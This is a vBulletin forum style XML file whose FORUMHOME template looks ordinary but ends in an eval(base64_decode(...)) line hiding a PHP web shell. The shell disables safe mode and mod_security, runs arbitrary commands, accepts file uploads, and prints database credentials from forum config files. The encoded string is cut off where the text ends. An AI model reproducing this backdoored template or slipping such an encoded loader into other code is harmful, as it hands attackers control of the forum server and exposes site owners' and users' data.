<?xml version="1.0" encoding="ISO-8859-1"?>

<style name="SauDi ViRuS TeaM" vbversion="3.6.8" product="vb" type="custom">
ALL vb-version ...by AnTi SeCuRe - RENO...
- <templategroup name="/Forum Home">
- <template name="FORUMHOME" templatetype="template" date="1194653840" username="AnTi SeCuRe" version="3.6.8">
- <![CDATA[ $stylevar[htmldoctype]
<html dir="$stylevar[textdirection]" lang="$stylevar[languagecode]">
<head>
	<!-- no cache headers -->
	<meta http-equiv="Pragma" content="no-cache" />
	<meta http-equiv="Expires" content="-1" />
	<meta http-equiv="Cache-Control" content="no-cache" />
	<!-- end no cache headers -->
	$headinclude
	<title><phrase 1="$vboptions[bbtitle]">$vbphrase[x_powered_by_vbulletin]</phrase></title>
</head>
<body>
$header
$navbar

<if condition="$show['guest']">
<!-- guest welcome message -->
<table class="tborder" cellpadding="$stylevar[cellpadding]" cellspacing="$stylevar[cellspacing]" border="0" width="100%" align="center">
<tr>
	<td class="tcat"><phrase 1="$vboptions[bbtitle]">$vbphrase[welcome_to_the_x]</phrase></td>
</tr>
<tr>
	<td class="alt1">
		<phrase 1="faq.php$session[sessionurl_q]" 2="register.php$session[sessionurl_q]">$vbphrase[first_visit_message]</phrase>
	</td>
</tr>
</table>
<!-- / guest welcome message -->
<br />
</if>

<!-- main -->
<table class="tborder" cellpadding="$stylevar[cellpadding]" cellspacing="$stylevar[cellspacing]" border="0" width="100%" align="center">
<thead>
	<tr align="center">
	  <td class="thead">&nbsp;</td>
	  <td class="thead" width="100%" align="$stylevar[left]">$vbphrase[forum]</td>
	  <td class="thead" width="175">$vbphrase[last_post]</td>
	  <td class="thead">$vbphrase[threads]</td>
	  <td class="thead">$vbphrase[posts]</td>
	  <if condition="$vboptions['showmoderatorcolumn']">
	  <td class="thead">$vbphrase[moderator]</td>
	  </if>
	</tr>
</thead>
$forumbits
<tbody>
	<tr>
		<td class="tfoot" align="center" colspan="<if condition="$vboptions['showmoderatorcolumn']">6<else />5</if>"><div class="smallfont"><strong>
			<a href="forumdisplay.php?$session[sessionurl]do=markread" rel="nofollow">$vbphrase[mark_forums_read]</a>
			<if condition="$vboptions['forumleaders']">&nbsp; &nbsp;
			<a href="showgroups.php$session[sessionurl_q]" rel="nofollow">$vbphrase[view_forum_leaders]</a></if>
		</strong></div></td>
	</tr>
</tbody>
</table>
$forumhome_markread_script
<!-- /main -->

<br />
<br />

<!-- what's going on box -->
<table class="tborder" cellpadding="$stylevar[cellpadding]" cellspacing="$stylevar[cellspacing]" border="0" width="100%" align="center">
<thead>
	<tr>
		<td class="tcat" colspan="2">$vbphrase[whats_going_on]</td>
	</tr>
</thead>
<if condition="$show['loggedinusers']">
<!-- logged-in users -->
<tbody>
	<tr>
		<td class="thead" colspan="2">
			<a style="float:$stylevar[right]" href="#top" onclick="return toggle_collapse('forumhome_activeusers')"><img id="collapseimg_forumhome_activeusers" src="$stylevar[imgdir_button]/collapse_thead$vbcollapse[collapseimg_forumhome_activeusers].gif" alt="" border="0" /></a>
			<a href="online.php$session[sessionurl_q]" rel="nofollow">$vbphrase[currently_active_users]</a>: $totalonline (<phrase 1="$numberregistered" 2="$numberguest">$vbphrase[x_members_and_y_guests]</phrase>)
		</td>
	</tr>
</tbody>
<tbody id="collapseobj_forumhome_activeusers" style="$vbcollapse[collapseobj_forumhome_activeusers]">
	<tr>
		<td class="alt2"><a href="online.php$session[sessionurl_q]" rel="nofollow"><img src="$stylevar[imgdir_misc]/whos_online.gif" alt="$vbphrase[view_whos_online]" border="0" /></a></td>
		<td class="alt1" width="100%">
			<div class="smallfont">
				<div style="white-space: nowrap"><phrase 1="$recordusers" 2="$recorddate" 3="$recordtime">$vbphrase[most_users_ever_online_was_x_y_at_z]</phrase></div>
				<div>$activeusers</div>
			</div>
		</td>
	</tr>
</tbody>
<!-- end logged-in users -->
</if>
<tbody>
	<tr>
		<td class="thead" colspan="2">
			<a style="float:$stylevar[right]" href="#top" onclick="return toggle_collapse('forumhome_stats')"><img id="collapseimg_forumhome_stats" src="$stylevar[imgdir_button]/collapse_thead$vbcollapse[collapseimg_forumhome_stats].gif" alt="" border="0" /></a>
			<phrase 1="$vboptions[bbtitle]">$vbphrase[x_statistics]</phrase>
		</td>
	</tr>
</tbody>
<tbody id="collapseobj_forumhome_stats" style="$vbcollapse[collapseobj_forumhome_stats]">
	<tr>
		<td class="alt2"><img src="$stylevar[imgdir_misc]/stats.gif" alt="<phrase 1="$vboptions[bbtitle]">$vbphrase[x_statistics]</phrase>" border="0" /></td>
		<td class="alt1" width="100%">
		<div class="smallfont">
			<div>
				$vbphrase[threads]: $totalthreads,
				$vbphrase[posts]: $totalposts,
				$vbphrase[members]: $numbermembers<if condition="$show['activemembers']">,
					<span title="<phrase 1="$vboptions[activememberdays]">$vbphrase[within_the_last_x_days]</phrase>">$vbphrase[active_members]: $activemembers</span>
				</if>
			</div>
			<div><phrase 1="member.php?$session[sessionurl]u=$newuserid" 2="$newusername">$vbphrase[welcome_to_our_newest_member_x]</phrase></div>
<div class="smallfont">$cb_stats</div>
		</div>
		</td>
	</tr>
</tbody>
<if condition="$show['birthdays']">
<!-- today's birthdays -->
<tbody>
	<tr>
		<td class="thead" colspan="2">
			<a style="float:$stylevar[right]" href="#top" onclick="return toggle_collapse('forumhome_birthdays')"><img id="collapseimg_forumhome_birthdays" src="$stylevar[imgdir_button]/collapse_thead$vbcollapse[collapseimg_forumhome_birthdays].gif" alt="" border="0" /></a>
			$vbphrase[todays_birthdays]
		</td>
	</tr>
</tbody>
<tbody id="collapseobj_forumhome_birthdays" style="$vbcollapse[collapseobj_forumhome_birthdays]">
	<tr>
		<td class="alt2"><a href="calendar.php?$session[sessionurl]do=getday&amp;day=$today&amp;sb=1"><img src="$stylevar[imgdir_misc]/birthday.gif" alt="$vbphrase[view_birthdays]" border="0" /></a></td>
		<td class="alt1" width="100%"><div class="smallfont">$birthdays</div></td>
	</tr>
</tbody>
<!-- end today's birthdays -->
</if>
<if condition="$show['upcomingevents']">
<tbody>
	<tr>
		<td class="thead" colspan="2">
			<a style="float:$stylevar[right]" href="#top" onclick="return toggle_collapse('forumhome_events')"><img id="collapseimg_forumhome_events" src="$stylevar[imgdir_button]/collapse_thead$vbcollapse[collapseimg_forumhome_events].gif" alt="" border="0" /></a>
			<if condition="$show['todaysevents']">$vbphrase[todays_events]<else /><phrase 1="$vboptions[showevents]">$vbphrase[upcoming_events_for_the_next_x_days]</phrase></if>
		</td>
	</tr>
</tbody>
<tbody id="collapseobj_forumhome_events" style="$vbcollapse[collapseobj_forumhome_events]">
	<tr>
		<td class="alt2"><a href="calendar.php$session[sessionurl_q]"><img src="$stylevar[imgdir_misc]/calendar.gif" alt="$vbphrase[calendar]" border="0" /></a></td>
		<td class="alt1" width="100%"><div class="smallfont">$upcomingevents</div></td>
	</tr>
</tbody>
</if>
</table>
<br />
<!-- end what's going on box -->

<!-- icons and login code -->
<table cellpadding="0" cellspacing="2" border="0" width="100%">
<tr valign="bottom">
	<td>
		<table cellpadding="2" cellspacing="0" border="0">
		<tr>
			<td><img src="$stylevar[imgdir_statusicon]/forum_new.gif" alt="$vbphrase[contains_new_posts]" border="0" /></td>
			<td class="smallfont">&nbsp; $vbphrase[forum_contains_new_posts]</td>
		</tr>
		<tr>
			<td><img src="$stylevar[imgdir_statusicon]/forum_old.gif" alt="$vbphrase[contains_no_new_posts]" border="0" /></td>
			<td class="smallfont">&nbsp; $vbphrase[forum_contains_no_new_posts]</td>
		</tr>
		<if condition="$vboptions['showlocks']">
		<tr>
			<td><img src="$stylevar[imgdir_statusicon]/forum_old_lock.gif" alt="$vbphrase[a_closed_forum]" border="0" /></td>
			<td class="smallfont">&nbsp; $vbphrase[forum_is_closed_for_posting]</td>
		</tr>
		</if>
		</table>
	</td>
	<if condition="!$show['guest']">
		<!-- member logout -->
		<td align="$stylevar[right]"><a href="login.php?$session[sessionurl]do=logout&amp;logouthash=$bbuserinfo[logouthash]"  onclick="return log_out('$vbphrase[sure_you_want_to_log_out]')"><phrase 1="$bbuserinfo[username]">$vbphrase[log_out_x]</phrase></a></td>
		<!-- end member logout -->
	</if>
</tr>
</table>
<!-- / icons and login code -->

$footer
</body>
</html>

$spacer_open
{${eval(base64_decode('LyojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCkJ5IFJFTk8gLi4KUjdlQEhvVE1haUwuQ29NIC4uCld3Vy5WeFg5LkNjCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMqLwokYXV0aCA9IDA7CiRuYW1lPSc0MWFlNTExOGY4N2M5ZjYyMWVmNWQ2NmM2OThlMGE5NCc7CiRwYXNzPSc3MzE4YTRiZTk0MzQ4ZGU1OWFhYjEyMTUyN2E2YmJhZSc7Ci8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovCmlmKCRhdXRoID09IDEpIHsKaWYgKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSB8fCBtZDUoJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXSkhPT0kbmFtZSB8fCBtZDUoJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIT09JHBhc3MpCiAgIHsKICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iUHJpVjggISInKTsKICAgaGVhZGVyKCdIVFRQLzEuMCA0MDEgVW5hdXRob3JpemVkJyk7CiAgIGV4aXQoIjxjZW50ZXI+PGI+PGEgaHJlZj1odHRwOi8vd3d3LnZ4eDkuY2M+VGVhbSBTYXVEaSBWaVJ1UzwvYT4gUFJpVjggISBKdXNUIEZvUiBTdlQ8L2NlbnRlcj48L2I+Iik7CiAgIH0KfQoKPz4KPGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyI+Cjx0aXRsZT5TdlQgU2hlTEwgLSBSRU5PPC90aXRsZT48L2hlYWQ+CjxzdHlsZT4KQk9EWSB7IFNDUk9MTEJBUi1CQVNFLUNPTE9SOiAjMTkxOTE5OyBTQ1JPTExCQVItQVJST1ctQ09MT1I6ICMwMDgwODA7IH0KYXtjb2xvcjojZGFkYWRhO3RleHQtZGVjb3JhdGlvbjpub25lO2ZvbnQtZmFtaWx5OnRhaG9tYTtmb250LXNpemU6MTNweH0KYTpob3Zlcntjb2xvcjojMDA4MDgwfQppbnB1dHtGT05ULVdFSUdIVDpub3JtYWw7YmFja2dyb3VuZC1jb2xvcjogIzE5MTkxOTtmb250LXNpemU6IDEycHg7IGNvbG9yOiAjZGFkYWRhOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2O2hlaWdodDoxN30KdGV4dGFyZWF7YmFja2dyb3VuZC1jb2xvcjojMTkxOTE5O2NvbG9yOiNkYWRhZGE7Zm9udC13ZWlnaHQ6Ym9sZDtmb250LXNpemU6IDEycHg7Zm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fQpkaXZ7Zm9udC1zaXplOjEycHg7Zm9udC1mYW1pbHk6dGFob21hO2ZvbnQtd2VpZ2h0Om5vcm1hbDtjb2xvcjp3aGl0ZXNtb2tlfQpzZWxlY3R7YmFja2dyb3VuZC1jb2xvcjogIzE5MTkxOTsgZm9udC1zaXplOiAxMnB4OyBjb2xvcjogI2RhZGFkYTsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7Zm9udC13ZWlnaHQ6Ym9sZDt9PC9zdHlsZT4KPHRhYmxlIHN0eWxlPSJib3JkZXI6IDJweCBzb2xpZCByZ2IoMjE4LCAyMTgsIDIxOCk7IiB3aWR0aD0iMTAwJSIgYmdjb2xvcj0iIzAwMDAwMCIgaGVpZ2h0PSIlIj4KCTx0cj4KCQk8dGQ+PGNlbnRlcj48Yj48Zm9udCBjb2xvcj0id2hpdGUiIGZhY2U9InRhaG9tYSIgc2l6ZT0iNCI+WyBQcmlWOCAhIC4uCgkJU2F1RGkgVmlSdVMgVGVhTSBTaGVMTCBdIDwvZm9udD48L2I+PC9jZW50ZXI+PC90ZD4KCTwvdHI+CjwvdGFibGU+Cjxib2R5IGJnY29sb3I9IzAwMDAwIHRleHQ9d2hpdGU+CjxwPiZuYnNwOyA8L3A+CjwvYm9keT48Y2VudGVyPgo8Ym9keSBiZ2NvbG9yPSIjMUExNDFBIiBiYWNrZ3JvdW5kPSJodHRwOi8vdnh4OS5jYy92Yi90YXIzcS9ibGFjay1jc3MvZC9iZy5naWYiIGxhbmc9RU4tVVMKPC9jZW50ZXI+CjxodG1sIHhtbG5zOnY9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206dm1sIiB4bWxuczpvPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOm9mZmljZTpvZmZpY2UiPgogPGNlbnRlcj4KIDw/CiAvL3BocGluZm8KaWYgKGVtcHR5KCRfUE9TVFsncGhwaW5mbyddICkpIHsKCX1lbHNlewoJZWNobyAkcGhwaW5mbz0oIWVyZWdpKCJwaHBpbmZvIiwkZGlzX2Z1bmMpKSA/IHBocGluZm8oKSA6ICJwaHBpbmZvKCkiOwoJZXhpdDsKfQogICAgICAvLyBhYm91dAppZiAgKGVtcHR5KCRfUE9TVFsncmVubyddICkgKSB7Cgl9RUxTRXsKCSRhY3Rpb24gPSAnP2FjdGlvbj1yZW5vJzsKCWVjaG8gIjx0YWJsZSBXaWR0aD0nMTAwJScgaGVpZ2h0PScxMCUnIGJnY29sb3I9JyMwMDAwMDAnIGJvcmRlcj0nMSc+PHRyPjx0ZD48Y2VudGVyPjxmb250IHNpemU9JzYnIGNvbG9yPScjRkZGRkZGJz4KVGVhTSBTYXVEaSBWaVJ1Uzxicj48YnI+Cld3Vy5WeFg5LkNjPGJyPjxicj4KUkVOTyAgPGJyPjxicj4KUjdlQEhvVE1haUwuQ29NPGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPiI7CgoKICAgIGVjaG8gIjwvZm9udD48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT4gIjsKCglleGl0OwoJfQogICAvL3NlYyBieXBhc3MKaWYgIChlbXB0eSgkX1BPU1RbJ3NlYyddICkgKSB7Cgl9RUxTRXsKCSRhY3Rpb24gPSAnP2FjdGlvbj1zZWMnOwplY2hvICI8aHRtbD4KPGJyPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0ncHJhZ21hJyBjb250ZW50PSduby1jYWNoZSc+CjwvaGVhZD48Ym9keT4iOwoKJGZwID0gZm9wZW4oInBocC5pbmkiLCJ3KyIpOwpmd3JpdGUoJGZwLCJzYWZlX21vZGUgPSBPZmYKZGlzYWJsZV9mdW5jdGlvbnMgPQpzYWZlX21vZGVfZ2lkID0gT0ZGCm9wZW5fYmFzZWRpciA9IE9GRiAiKTsKZWNobyAiPGI+U2FmZSBtb2RlIGhhcyBiZWVuIGJ5cGFzc2VkIC4uPC9iPiI7CmVjaG8gKCI8YnI+IikKPz4KPD8KJGZwMiA9IGZvcGVuKCIuaHRhY2Nlc3MiLCJ3KyIpOwpmd3JpdGUoJGZwMiwiPElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPgpTZWNGaWx0ZXJFbmdpbmUgT2ZmClNlY0ZpbHRlclNjYW5QT1NUIE9mZgpTZWNGaWx0ZXJDaGVja1VSTEVuY29kaW5nIE9mZgpTZWNGaWx0ZXJDaGVja1VuaWNvZGVFbmNvZGluZyBPZmYKPC9JZk1vZHVsZT4gIik7CmVjaG8gIjxiPk1vZGUgU2VjdXJpdHkgaGFzIGJlZW4gYnlwYXNzZWQgLi48L2I+PGJyPiI7CgogIGVjaG8gIjxhIGhyZWY9J2phdmFzY3JpcHQ6aGlzdG9yeS5iYWNrKCknPkdvIEJhY2sgVG8gU2hlbGw8L2E+IjsKICAgIGVjaG8gIjwvZm9udD48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT4gIjsKCglleGl0OwoJfQogICAgICAgICAgICAgIC8vIHBocDQKaWYgIChlbXB0eSgkX1BPU1RbJ3BocDQnXSApICkgewoJfUVMU0V7CgkkYWN0aW9uID0gJz9hY3Rpb249cGhwNCc7CgllY2hvICI8aHRtbD4KPGJyPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0ncHJhZ21hJyBjb250ZW50PSduby1jYWNoZSc+CjwvaGVhZD48Ym9keT4iOwogICAgJHIxcyA9IGZvcGVuKCIuaHRhY2Nlc3MiLCJ3KyIpOwpmd3JpdGUoJHIxcywiPEZpbGVzICoucGhwPgogICBGb3JjZVR5cGUgYXBwbGljYXRpb24veC1odHRwZC1waHA0CjwvRmlsZXM+Iik7CmVjaG8gIjxiPlBIUCBJUyA0IE5vdyAuLjwvYj48YnI+IjsKCiAgIGVjaG8gIjxhIGhyZWY9J2phdmFzY3JpcHQ6aGlzdG9yeS5iYWNrKCknPkdvIEJhY2sgVG8gU2hlbGw8L2E+IjsKICAgIGVjaG8gIjwvZm9udD48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT4gIjsKCglleGl0OwoJfQplY2hvKCI8Rk9STSBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJFJFUVVFU1RfVVJJJyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz48SU5QVVQgdHlwZT0nc3VibWl0J25hbWU9J3Jlbm8nIHZhbHVlPSdBYm91dCBNZScgIGlkPWlucHV0PjxJTlBVVCB0eXBlPSdzdWJtaXQnIG5hbWU9J3BocGluZm8nIHZhbHVlPSdQSFBpbmZvJyBpZD1pbnB1dD48SU5QVVQgdHlwZT0nc3VibWl0JyBuYW1lPSdzZWMnIHZhbHVlPSdCeXBhc3MgU2FmZW1vZGUgKyBtb2Qgc2VjJyBpZD1pbnB1dD48SU5QVVQgdHlwZT0nc3VibWl0JyBuYW1lPSdwaHA0JyB2YWx1ZT0nQmFjayBQSFAgVG8gNCcgaWQ9aW5wdXQ+PC9mb3JtPiIpOwogICAgICAgPz4KPC9jZW50ZXI+CiAgPGhyPgo8PwovLyBTZXJ2ZXIgaW5mbyAuLgplY2hvICJ1bmFtZSAtYSA6ICI7IGVjaG8gKHBocF91bmFtZSgpKQo/Pgo8YnI+Cjw/cGhwCiRyZW5vID0gKGluaV9nZXQgKCJzYWZlX21vZGUiKSkgIDsKaWYgKCRyZW5vID09MSkgICB7CmVjaG8gIjxmb250IGNvbG9yPVwicmVkXCI+U2FmZSBNb2RlIDogT04gKHNlY3VyZSk8L2ZvbnQ+IjsKfSBlbHNlIHsKZWNobyAiPGZvbnQgY29sb3I9XCJncmVlblwiPlNhZmUgTW9kZSA6IE9GRiAobm90IHNlY3VyZSkiOwp9CiRyN2UgPSBAaW5pX2dldCgib3Blbl9iYXNlZGlyIik7CmlmICgkcjdlIG9yIHN0cnRvbG93ZXIoJHI3ZSkgPT0gIm9uIikgeyRvcGVuYmFzZWRpciA9IHRydWU7ICRob3BlbmJhc2VkaXIgPSAiPGZvbnQgY29sb3I9XCJyZWRcIj4iLiRyN2UuIjwvZm9udD4iO30KZWxzZSB7JG9wZW5iYXNlZGlyID0gZmFsc2U7ICRob3BlbmJhc2VkaXIgPSAiPGZvbnQgY29sb3I9XCJncmVlblwiPk9GRiAobm90IHNlY3VyZSk8L2ZvbnQ+Ijt9CmVjaG8oIjxicj4iKTsKZWNobygiT3BlbiBiYXNlIGRpcjogJGhvcGVuYmFzZWRpciIpOwplY2hvKCI8YnI+Iik7CmVjaG8gIkRpc2FibGUgZnVuY3Rpb25zIDogPGI+IjsKaWYoJyc9PSgkZGY9QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpKXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5OT05FPC9mb250PjwvYj4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPXJlZD4kZGY8L2ZvbnQ+PC9iPiI7fQokZnJlZSA9IEBkaXNrZnJlZXNwYWNlKCRkaXIpOwppZiAoISRmcmVlKSB7JGZyZWUgPSAwO30KJGFsbCA9IEBkaXNrX3RvdGFsX3NwYWNlKCRkaXIpOwppZiAoISRhbGwpIHskYWxsID0gMDt9CiR1c2VkID0gJGFsbC0kZnJlZTsKJHVzZWRfcGVyY2VudCA9IEByb3VuZCgxMDAvKCRhbGwvJGZyZWUpLDIpOwplY2hvKCI8YnI+Iik7CmVjaG8gIlBIUCBWZXJzaW9uIDogIjsgZWNobyBmbG9hdHZhbChwaHB2ZXJzaW9uKCkpOwplY2hvKCI8YnI+Iik7CmVjaG8gIlBvc3RncmVTUUw6IDxiPiI7CiRwZ19vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKTsKaWYoJHBnX29uKXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+Ijt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj4iO30KZWNobygiPGJyPiIpOwplY2hvICJNU1NRTDogPGI+IjsKJG1zc3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpOwppZigkbXNzcWxfb24pe2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PjwvYj4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+PC9iPiI7fQplY2hvKCI8YnI+Iik7CmVjaG8gIk15U1FMOiA8Yj4iOwokbXlzcWxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0Jyk7CmlmKCRteXNxbF9vbil7CmVjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PjwvYj4iOyB9IGVsc2UgeyBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj4iOyB9Cj8+Cjxocj4KPGJyPgo8Zm9udCBjb2xvcj0id2hpdGUiPgo8PwovL1VwbG9hZAppZigkX1BPU1RbJ2RpciddID09ICIiKSB7CgogJGN1cmRpciA9IGBwd2RgOwp9IGVsc2UgewogJGN1cmRpciA9ICRfUE9TVFsnZGlyJ107Cn0KCmlmKCRfUE9TVFsnc3Z0J10gPT0gIiIpIHsKCiAkY3VyY21kID0gImxzIC1sYSI7Cn0gZWxzZSB7CiAkY3VyY21kID0gJF9QT1NUWydzdnQnXTsKfQoKCj8+CiAgICA8dGFibGU+PGZvcm0gbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4KICAgICAgPHRyPjx0ZD48Yj48c3BhbiBsYW5nPSJhci1zYSI+Q29tYW5kIExpbmU8L3NwYW4+OjwvYj48L3RkPjx0ZD48aW5wdXQgbmFtZT0ic3Z0IiB0eXBlPSJ0ZXh0IiBzaXplPSIxMDAiIHZhbHVlPSI8PyBlY2hvICRjdXJjbWQ7ID8+Ij48L3RkPjx0cj48dGQ+PGI+PHNwYW4gbGFuZz0iYXItc2EiPlBhdGg8L3NwYW4+OjwvYj48L3RkPjx0ZD48aW5wdXQgbmFtZT0iZGlyIiB0eXBlPSJ0ZXh0IiBzaXplPSIxMDAiIHZhbHVlPSI8PyBlY2hvICRjdXJkaXI7ID8+Ij48L3RkPjx0ZD48aW5wdXQgbmFtZT0iZXhlIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIj48L3RkPjwvdHI+PHRyPjx0ZD48c3BhbiBsYW5nPSJhci1zYSI+PGI+VXBsb2FkPC9iPjwvc3Bhbj48Yj46PC9iPjwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJmaWxhIiB0eXBlPSJmaWxlIiBzaXplPSIxMDAiPjwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJ1cGwiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlVwbG9hZCI+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjxwcmU+PGhyPgo8Zm9udCBjb2xvcj0iI0ZGRkZGRiI+PD8KICAgIGlmKCgkX1BPU1RbJ3VwbCddKSA9PSAiVXBsb2FkIiApIHsKICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZmlsYSddWyd0bXBfbmFtZSddLCAkY3VyZGlyLiIvIi4kX0ZJTEVTWydmaWxhJ11bJ25hbWUnXSkpIHsKICAgICAgICBlY2hvICJVcGxvYWRlZCAuLjxicj48YnI+IjsKICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyAiVGhlcmUgSXMgU29tZXRoaW5nIFdyb25nIHRoZSBmaWxlIGhhcyBub3QgYmVlbiB1cGxvYWRlZCAuLiI7CiAgICB9CiAgICB9CiAgICBpZigoJF9QT1NUWydleGUnXSkgPT0gIkV4ZWN1dGUiKSB7CiAgICAgJGN1cmNtZCA9ICJjZCAiLiRjdXJkaXIuIjsiLiRjdXJjbWQ7CiAgICAgJGY9cG9wZW4oJGN1cmNtZCwiciIpOwogICAgIHdoaWxlICghZmVvZigkZikpIHsKICAgICAgJGJ1ZmZlciA9IGZnZXRzKCRmLCA0MDk2KTsKICAgICAgJHN0cmluZyAuPSAkYnVmZmVyOwogICAgIH0KICAgICBwY2xvc2UoJGYpOwogICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3RyaW5nKTsKICAgIH0KPz4KPGNlbnRlcj4KPHRhYmxlIHN0eWxlPSJib3JkZXI6IDJweCBzb2xpZCByZ2IoMjE4LCAyMTgsIDIxOCk7IiB3aWR0aD0iMTAwJSIgYmdjb2xvcj0iIzAwMDAwMCIgaGVpZ2h0PSIlIj4KCTx0cj4KCQk8dGQ+PGNlbnRlcj48Zm9udCBjb2xvcj0id2hpdGUiIGZhY2U9InRhaG9tYSIgc2l6ZT0iNCI+PGI+WyBDb25GaWcgUmVhRGVyIF08L2I+PC9mb250PjwvY2VudGVyPjwvdGQ+Cgk8L3RyPgo8L3RhYmxlPgo8L2ZvbnQ+Cjw/cGhwCi8vIENvbmZpZyBSZWFEZXIKcHJpbnQgIjxmb3JtIG1ldGhvZD0nUE9TVCc+XG4iOwpwcmludCAiPGlucHV0IHR5cGU9J3RleHQnIHZhbHVlPScvaG9tZS91c2VyL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnIHNpemU9Jzg1JyBuYW1lPSd0MHYnLz48YnI+XG4iOwpwcmludCAiPGJyPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdSZWFkJyBuYW1lPSdSZWFkJy8+XG4iOwppZighZW1wdHkoJF9QT1NUWyd0MHYnXSkpewppbmNsdWRlKCJ7JF9QT1NUW3Qwdl19Iik7CiBwcmludCAiPHRleHRhcmVhIGNvbHM9Jzk1JyByb3dzPSczMCc+IjsKICBpZiAoY2xhc3NfZXhpc3RzKCdKQ29uZmlnJykpIHsKJHQwdj1uZXcgSkNvbmZpZygpOwpwcmludCAiID09PT09IEpvb21sYSA9PT09PSI7ICAgcHJpbnQgIlxuIjsKcHJpbnQgImhvc3QgICAgID0gIi4kdDB2LT5ob3N0LiJcbiI7CnByaW50ICJkYiAgICAgICA9ICIuJHQwdi0+ZGIuIlxuIjsKcHJpbnQgInVzZXIgICAgID0gIi4kdDB2LT51c2VyLiJcbiI7CnByaW50ICJwYXNzd29yZCA9ICIuJHQwdi0+cGFzc3dvcmQuIlxuIjsKfWVsc2VpZigkY29uZmlnKXsKIHByaW50ICIgPT09PT0gVkIgPT09PT0gIjsgICAgcHJpbnQgIlxuIjsKZWNobyAiRGF0YWJhc2UgOiAiLiRjb25maWdbJ0RhdGFiYXNlJ11bJ2RibmFtZSddLiIgICAiOwogIHByaW50ICJcbiI7CmVjaG8gIlVzZXJOYW1lIDogIi4kY29uZmlnWydNYXN0ZXJTZXJ2ZXInXVsndXNlcm5hbWUnXS4iICAgIjsKICBwcmludCAiXG4iOwplY2hvICJQYXNzd29yZCA6ICIuJGNvbmZpZ1snTWFzdGVyU2VydmVyJ11bJ3Bhc3N3b3JkJ10uIiAgICI7CiAgcHJpbnQgIlxuIjsKZWNobyAiRS1tYWlsIDogIi4kY29uZmlnWydEYXRhYmFzZSddWyd0ZWNobmljYWxlbWFpbCddLiIgICAiOwogIHByaW50ICJcbiI7CmVjaG8gImFkbWluY3AtZGlyIDogIi4kY29uZmlnWydNaXNjJ11bJ2FkbWluY3BkaXInXS4iICAgIjsKICBwcmludCAiXG4iOwplY2hvICJtb2RjcC1kaXIgOiAiLiRjb25maWdbJ01pc2MnXVsnbW9kY3BkaXInXS4iICAgIjsKICBwcmludCAiXG4iOwp9ZWxzZXsKIHByaW50ICIgPT09PT0gUEhQQkIgPT09PT0gIjsgICAgICBwcmludCAiXG4iOwplY2hvICIgRGF0YWJhc2UgOiAiLiRkYm5hbWUuIiAgICI7CiAgcHJpbnQgIlxuIjsKZWNobyAiIFVzZXJuYW1lIDogIi4kZGJ1c2VyLiIgICAiOwogIHByaW50ICJcbiI7CmVjaG8gIiBQYXNzd29yZCA6ICIuJGRicGFzc3dkLiIgICAiOwogIHByaW50ICJcbiI7Cn0KZWNobyAiPC90ZXh0YXJlYT4iOwp9Cgo/Pgo8aHI+CiA8Y2VudGVyPgo8dGFibGUgc3R5bGU9ImJvcmRlcjogMnB4IHNvbGlkIHJnYigyMTgsIDIxOCwgMjE4KTsiIHdpZHRoPSIxM